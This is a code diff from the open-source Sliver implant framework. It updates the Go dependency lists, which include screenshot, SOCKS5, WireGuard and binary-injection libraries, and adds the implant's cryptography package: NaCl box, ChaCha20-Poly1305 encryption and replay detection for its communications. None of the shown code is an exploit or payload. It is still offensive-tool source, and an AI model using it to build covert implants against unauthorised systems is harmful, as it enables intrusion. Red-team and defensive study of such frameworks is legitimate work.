|
||||
@@ -658,9 +668,12 @@ google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyac
|
||||
google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=
|
||||
google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
|
||||
google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk=
|
||||
google.golang.org/grpc v1.36.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU=
|
||||
google.golang.org/grpc v1.36.1/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU=
|
||||
google.golang.org/grpc v1.37.0 h1:uSZWeQJX5j11bIQ4AJoj+McDBo29cY1MCoC1wO3ts+c=
|
||||
google.golang.org/grpc v1.37.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM=
|
||||
google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e h1:sNoeF2U2n39//BlK2EgW1ogs99jJ+xDhrvR3oaEnRzk=
|
||||
google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e/go.mod h1:gID3PKrg7pWKntu9Ss6zTLJ0ttC0X9IHgREOCZwbCVU=
|
||||
google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
|
||||
google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
|
||||
google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
|
||||
@@ -669,6 +682,7 @@ google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzi
|
||||
google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
|
||||
google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
|
||||
google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
|
||||
google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4=
|
||||
google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c=
|
||||
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
|
||||
google.golang.org/protobuf v1.26.0 h1:bxAC2xTBsZGibn2RTntX0oH50xLsqy1OxA9tTL3p/lk=
|
||||
@@ -701,8 +715,6 @@ gorm.io/driver/sqlite v1.1.3 h1:BYfdVuZB5He/u9dt4qDpZqiqDJ6KhPqs5QUqsr/Eeuc=
|
||||
gorm.io/driver/sqlite v1.1.3/go.mod h1:AKDgRWk8lcSQSw+9kxCJnX/yySj8G3rdwYlU57cB45c=
|
||||
gorm.io/gorm v1.20.1/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
|
||||
gorm.io/gorm v1.20.4/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
|
||||
gorm.io/gorm v1.20.6 h1:qa7tC1WcU+DBI/ZKMxvXy1FcrlGsvxlaKufHrT2qQ08=
|
||||
gorm.io/gorm v1.20.6/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
|
||||
gorm.io/gorm v1.21.14 h1:NAR9A/3SoyiPVHouW/rlpMUZvuQZ6Z6UYGz+2tosSQo=
|
||||
gorm.io/gorm v1.21.14/go.mod h1:F+OptMscr0P2F2qU97WT1WimdH9GaQPoDW7AYd5i2Y0=
|
||||
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
|
||||
+18
-12
@@ -3,16 +3,22 @@ module github.com/bishopfox/sliver
|
||||
go 1.16
|
||||
|
||||
require (
|
||||
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/golang/protobuf v1.4.3
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/lesnuages/go-socks5 v0.0.0-20210409090601-adbe23bd0194
|
||||
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
|
||||
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
|
||||
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22 // indirect
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
|
||||
github.com/Microsoft/go-winio v0.5.0 // indirect
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/gofrs/uuid v4.0.0+incompatible
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/stretchr/testify v1.7.0
|
||||
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
|
||||
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4
|
||||
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
|
||||
golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
|
||||
golang.zx2c4.com/wireguard/windows v0.5.1
|
||||
google.golang.org/protobuf v1.23.0
|
||||
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
)
|
||||
+63
-11
@@ -1,36 +1,84 @@
|
||||
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 h1:8kQNJC9AxAaNs0JkXnWUfbNeDnIO1QLYYWjYqC6JEE4=
|
||||
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313 h1:hX9boCRvCxIpsiV4q9ts+WOYNnjHiji2FOR5BsDzxiY=
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313/go.mod h1:J3XDRlam5pPYca3i6EqgQ35GCCEoyxafpCbLkta0ozc=
|
||||
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc h1:7D+Bh06CRPCJO3gr2F7h1sriovOZ8BMhca2Rg85c2nk=
|
||||
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
|
||||
github.com/Microsoft/go-winio v0.4.16/go.mod h1:XB6nPKklQyQ7GC9LdcBEcBl8PF76WugXOPRXwdLnMv0=
|
||||
github.com/Microsoft/go-winio v0.5.0 h1:Elr9Wn+sGKPlkaBvwu4mTrxtmOp3F3yV9qhaHbXGjwU=
|
||||
github.com/Microsoft/go-winio v0.5.0/go.mod h1:JPGBdM1cNvN/6ISo+n8V5iA4v8pBzdOpzfwIujj1a84=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE=
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc h1:biVzkmvwrH8WK8raXaxBx6fRVTlJILwEwQGL1I/ByEI=
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
|
||||
github.com/gofrs/uuid v4.0.0+incompatible h1:1SD/1F5pU8p29ybwgQSwpQk+mwdRrXCYuPhW6m+TnJw=
|
||||
github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
|
||||
github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8=
|
||||
github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA=
|
||||
github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs=
|
||||
github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w=
|
||||
github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=
|
||||
github.com/golang/protobuf v1.4.3 h1:JjCZWpVbqXDqFVmTfYWEVTMIYrL/NPdPSCHPJ0T/raM=
|
||||
github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
|
||||
github.com/google/btree v1.0.1 h1:gK4Kx5IaGY9CD5sPJ36FHiBJ6ZXl0kilRiiCj+jdYp4=
|
||||
github.com/google/btree v1.0.1/go.mod h1:xXMiIv4Fb/0kKde4SpL7qlzvu5cMJDRkFDxJfI9uaxA=
|
||||
github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
|
||||
github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
|
||||
github.com/google/go-cmp v0.4.0 h1:xsAVV57WRhGj6kEIi8ReJzQlHHqcBYCElAvkovg3B/4=
|
||||
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f h1:5hWo+DzJQSOBl6X+TDac0SPWffRonuRJ2///OYtYRT8=
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f/go.mod h1:f8GY5V3lRzakvEyr49P7hHRYoHtPr8zvj/7JodCoRzw=
|
||||
github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
|
||||
github.com/lesnuages/go-winio v0.4.19 h1:lFDu1mnhg5em+8zTHO4ChSD11J56xkyE8m3N8IrVmbA=
|
||||
github.com/lesnuages/go-winio v0.4.19/go.mod h1:rm7jf4kBcldxMeljR7c7XY1qVCBc+8z3PtSgkrT9Clk=
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
|
||||
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/sirupsen/logrus v1.4.1/go.mod h1:ni0Sbl8bgC9z8RoU9G6nDWqqs/fq4eDPysMBDgk/93Q=
|
||||
github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/pquerna/otp v1.3.0 h1:oJV/SkzR33anKXwQU3Of42rL4wbrffP4uvUf1SvS5Xs=
|
||||
github.com/pquerna/otp v1.3.0/go.mod h1:dkJfzwRKNiegxyNb54X/3fLwhCynbMspSyWKnvi1AEg=
|
||||
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13 h1:5jaG59Zhd+8ZXe8C+lgiAGqkOaZBruqrWclLkgAww34=
|
||||
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
|
||||
github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||
golang.org/x/crypto v0.0.0-20210220033148-5ea612d1eb83/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I=
|
||||
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e h1:gsTQYXdTw2Gq7RBsWvlQ91b+aEQ6bXFUngBGuR8sPpI=
|
||||
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
||||
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
||||
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4 h1:4nGaVu0QrbjT/AK2PRLuQfQuh6DJve+pELhqTdAj3x0=
|
||||
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM=
|
||||
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210309040221-94ec62e08169/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210316164454-77fc1eacc6aa/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22 h1:RqytpXGR1iVNX7psjB3ff8y7sNFinVFvkx1c8SjBkio=
|
||||
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 h1:v+OssWQX+hTHEmOBgwxdZxK4zHq3yOs8F9J7mk0PY8E=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba h1:O8mE0/t419eoIwhTFpKVkHiTs/Igowgfkj25AcZrtiE=
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543 h1:E7g+9GITq07hpfrRu66IVDexMakfv52eLZ2CXBWiKr4=
|
||||
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93 h1:nb+w1m5cgug4cfeqcWJx4lcj8cYA+wWAz7aGI96Wp/Q=
|
||||
golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93/go.mod h1:a057zjmoc00UN7gVkaJt2sXVK523kMJcogDTEvPIasg=
|
||||
google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
|
||||
google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
|
||||
google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
|
||||
@@ -38,5 +86,9 @@ google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miE
|
||||
google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=
|
||||
google.golang.org/protobuf v1.23.0 h1:4MY060fB1DLGMB/7MBTLnwQUY6+F09GEiz6SsrNqyzM=
|
||||
google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
|
||||
github.com/lesnuages/go-socks5 v0.0.0-20210409090601-adbe23bd0194 h1:k4VboDB9x//V1RZdK+zji9Bk2QQYCeHVn0HpHM03As4=
|
||||
github.com/lesnuages/go-socks5 v0.0.0-20210409090601-adbe23bd0194/go.mod h1:0p7Kyo90yOpoiH+cElGtWjhneXBBcaB+kJggBU1snEY=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22 h1:DNtszwGa6w76qlIr+PbPEnlBJdiRV8SaxeigOy0q1gg=
|
||||
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22/go.mod h1:GVx+5OZtbG4TVOW5ilmyRZAZXr1cNwfqUEkTOtWK0PM=
|
||||
@@ -0,0 +1,226 @@
|
||||
package cryptography
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"crypto/x509"
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
"io"
|
||||
"os"
|
||||
"sync"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
"time"
|
||||
|
||||
"github.com/pquerna/otp"
|
||||
"github.com/pquerna/otp/totp"
|
||||
"golang.org/x/crypto/chacha20poly1305"
|
||||
"golang.org/x/crypto/nacl/box"
|
||||
)
|
||||
|
||||
var (
|
||||
totpOptions = totp.ValidateOpts{
|
||||
Digits: 8,
|
||||
Algorithm: otp.AlgorithmSHA256,
|
||||
Period: uint(30),
|
||||
Skew: uint(1),
|
||||
}
|
||||
|
||||
// ErrReplayAttack - Replay attack
|
||||
ErrReplayAttack = errors.New("replay attack detected")
|
||||
// ErrDecryptFailed
|
||||
ErrDecryptFailed = errors.New("decryption failed")
|
||||
)
|
||||
|
||||
// ECCKeyPair - Holds the public/private key pair
|
||||
type ECCKeyPair struct {
|
||||
Public *[32]byte
|
||||
Private *[32]byte
|
||||
}
|
||||
|
||||
// ECCEncrypt - Encrypt using Nacl Box
|
||||
func ECCEncrypt(recipientPublicKey *[32]byte, senderPrivateKey *[32]byte, plaintext []byte) ([]byte, error) {
|
||||
var nonce [24]byte
|
||||
if _, err := io.ReadFull(rand.Reader, nonce[:]); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
encrypted := box.Seal(nonce[:], plaintext, &nonce, recipientPublicKey, senderPrivateKey)
|
||||
return encrypted, nil
|
||||
}
|
||||
|
||||
// ECCDecrypt - Decrypt using Curve 25519 + ChaCha20Poly1305
|
||||
func ECCDecrypt(senderPublicKey *[32]byte, recipientPrivateKey *[32]byte, ciphertext []byte) ([]byte, error) {
|
||||
var decryptNonce [24]byte
|
||||
copy(decryptNonce[:], ciphertext[:24])
|
||||
plaintext, ok := box.Open(nil, ciphertext[24:], &decryptNonce, senderPublicKey, recipientPrivateKey)
|
||||
if !ok {
|
||||
return nil, ErrDecryptFailed
|
||||
}
|
||||
return plaintext, nil
|
||||
}
|
||||
|
||||
// RandomKey - Generate random ID of randomIDSize bytes
|
||||
func RandomKey() [chacha20poly1305.KeySize]byte {
|
||||
randBuf := make([]byte, 64)
|
||||
rand.Read(randBuf)
|
||||
return deriveKeyFrom(randBuf)
|
||||
}
|
||||
|
||||
// deriveKeyFrom - Derives a key from input data using SHA256
|
||||
func deriveKeyFrom(data []byte) [chacha20poly1305.KeySize]byte {
|
||||
digest := sha256.Sum256(data)
|
||||
var key [chacha20poly1305.KeySize]byte
|
||||
copy(key[:], digest[:chacha20poly1305.KeySize])
|
||||
return key
|
||||
}
|
||||
|
||||
// Encrypt - Encrypt using chacha20poly1305
|
||||
// https://pkg.go.dev/golang.org/x/crypto/chacha20poly1305
|
||||
func Encrypt(key [chacha20poly1305.KeySize]byte, plaintext []byte) ([]byte, error) {
|
||||
aead, err := chacha20poly1305.New(key[:])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
nonce := make([]byte, aead.NonceSize(), aead.NonceSize()+len(plaintext)+aead.Overhead())
|
||||
if _, err := rand.Read(nonce); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return aead.Seal(nonce, nonce, plaintext, nil), nil
|
||||
}
|
||||
|
||||
// Decrypt - Decrypt using chacha20poly1305
|
||||
// https://pkg.go.dev/golang.org/x/crypto/chacha20poly1305
|
||||
func Decrypt(key [chacha20poly1305.KeySize]byte, ciphertext []byte) ([]byte, error) {
|
||||
aead, err := chacha20poly1305.New(key[:])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(ciphertext) < aead.NonceSize() {
|
||||
return nil, errors.New("ciphertext too short")
|
||||
}
|
||||
|
||||
// Split nonce and ciphertext.
|
||||
nonce, ciphertext := ciphertext[:aead.NonceSize()], ciphertext[aead.NonceSize():]
|
||||
|
||||
// Decrypt the message and check it wasn't tampered with.
|
||||
return aead.Open(nil, nonce, ciphertext, nil)
|
||||
}
|
||||
|
||||
// NewCipherContext - Wrapper around creating a cipher context from a key
|
||||
func NewCipherContext(key [chacha20poly1305.KeySize]byte) *CipherContext {
|
||||
return &CipherContext{
|
||||
Key: key,
|
||||
replay: &sync.Map{},
|
||||
}
|
||||
}
|
||||
|
||||
// CipherContext - Tracks a series of messages encrypted under the same key
|
||||
// and detects/prevents replay attacks.
|
||||
type CipherContext struct {
|
||||
Key [chacha20poly1305.KeySize]byte
|
||||
replay *sync.Map
|
||||
}
|
||||
|
||||
// Decrypt - Decrypt a message with the contextual key and check for replay attacks
|
||||
func (c *CipherContext) Decrypt(data []byte) ([]byte, error) {
|
||||
plaintext, err := Decrypt(c.Key, data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
digest := sha256.Sum256(data)
|
||||
b64Digest := base64.RawStdEncoding.EncodeToString(digest[:])
|
||||
if _, ok := c.replay.LoadOrStore(b64Digest, true); ok {
|
||||
return nil, ErrReplayAttack
|
||||
}
|
||||
return plaintext, nil
|
||||
}
|
||||
|
||||
// Encrypt - Encrypt a message with the contextual key
|
||||
func (c *CipherContext) Encrypt(plaintext []byte) ([]byte, error) {
|
||||
ciphertext, err := Encrypt(c.Key, plaintext)
|
||||
